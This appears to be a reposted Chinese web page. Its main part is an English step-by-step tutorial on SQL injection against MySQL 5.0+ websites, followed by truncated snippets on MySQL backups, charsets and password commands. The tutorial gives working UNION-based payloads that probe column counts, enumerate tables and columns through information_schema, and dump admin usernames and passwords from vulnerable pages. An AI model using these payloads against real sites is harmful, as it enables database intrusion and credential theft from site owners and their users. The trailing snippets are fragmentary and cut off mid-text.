[Injection]对MYSQL 5.0服务器以上版本注入
by ZaraByte
How to do a SQL Injection for MYSQL Server 5.0+
1. Find a vulnerable add a ‘ at the end of the site example: news.php?id=1 add a ‘ at the end of the 1 and see if you get a syntax error
2. order by #–
Keep upping the # until you get an error.
3. union all select 1,#,#,#,#,#–
Above 6 numbers if the site you have shows more then 6 or less then since you need to add or remove them
4. Find a column # that is showed from step 2 example if there are 5 columns shown you can pick column 2
5. concat_ws(0×3A,version(),@@version) in vulnerable column
add concat_ws(0×3A,version(),@@version) to a vulnerable column like column 2 see if it shows the SQL version if it don’t try adding a – before the php?id=-# and see if you get the version
Will show the version of the SQL Server recommended that it be 5.0
6. union all select 1,group_concat(table_name),#,#,#,# from information_schema.tables where table_schema=database()–
This selects all the the tables from the database.
7. Find a table your after like admin or like users or user whatever table you wanna see
8. union all select 1,group_concat(column_name),#,#,#,# from information_schema.columns where table_name=char(x)–
Replace x with the ASCII of table name You will need to convert Text to ASCII.
9. union all select 1,group_concat(table_name,0×3a,table_name)#,#,#,# from column_name–
Replace table_name with the table name your after the 0×3a is hex for “:” table_name would be replaced with the other table name yours after
so for example say you found a table named admin and you wanna see the username and password columns you’d do
union all select 1,group_concat(username,0×3a,password,0×3c62723e)#,#,#,# from table_name–
Basically its going to show the username 0×3a is hex for “:” then the password 0×3c62723e is hex for a “< br >” which breaks them
相关文档：
* mysql首先将拿到的数据转换为character_set_client指定的编码格式，然后转换为 character_set_connection指定的格式，最后再将数据存储到数据库，存储格式为character_set_database所指定的格式；
* 从数据库读数据时，将数据库格式转换为character_set_results指定的格式，再发� ......
格式为2008-06-16
查询出当天数据：
SELECT * from `table` WHERE date(时间字段) = curdate();
查询出当月字段：
SELECT *
from `table`
WHERE month( 时间字段) = month( now( ) ) ;
时间格式为1219876…… UNIX时间，只要应用“from_UNIXTIME( )”函数
例如查询当月：
SELECT ......
备份MySQL数据库的命令
mysqldump -hhostname -uusername -ppassword databasename > backupfile.sql
备份MySQL数据库为带删除表的格式
备份MySQL数据库为带删除表的格式，能够让该备份覆盖已有数据库而不需要手动删除原有数据库。
mysqldump -–add-drop-table -uusername -ppassword databasename > bac ......
可以将这个脚本放进crontab，他的配制文件在 /etc/crontab中每天凌晨执行一次，自动备份 这个脚本每天最多只执行一次，而且只保留最近五天的备份在服务器上。
#!/bin/bash
#This is a ShellScript For Auto DB Backup
#Powered by aspbiz
#2004-09
#Setting
#设置数据库名，数据库登录名，密码，备份路径，日志� ......
mysql设置密码和修改密码：
/usr/local/mysql/bin/mysqladmin -uroot password 123456 第一次设密码。
mysqladmin -uroot -p password mypasswd 修改密码
输入这个命令后，需要输入root的原密码，然后root的密码将改为mypasswd。
就是mysql5导出的有default-charact的设置，mysql4不支持，需要加skip-opt参数，如：
my ......
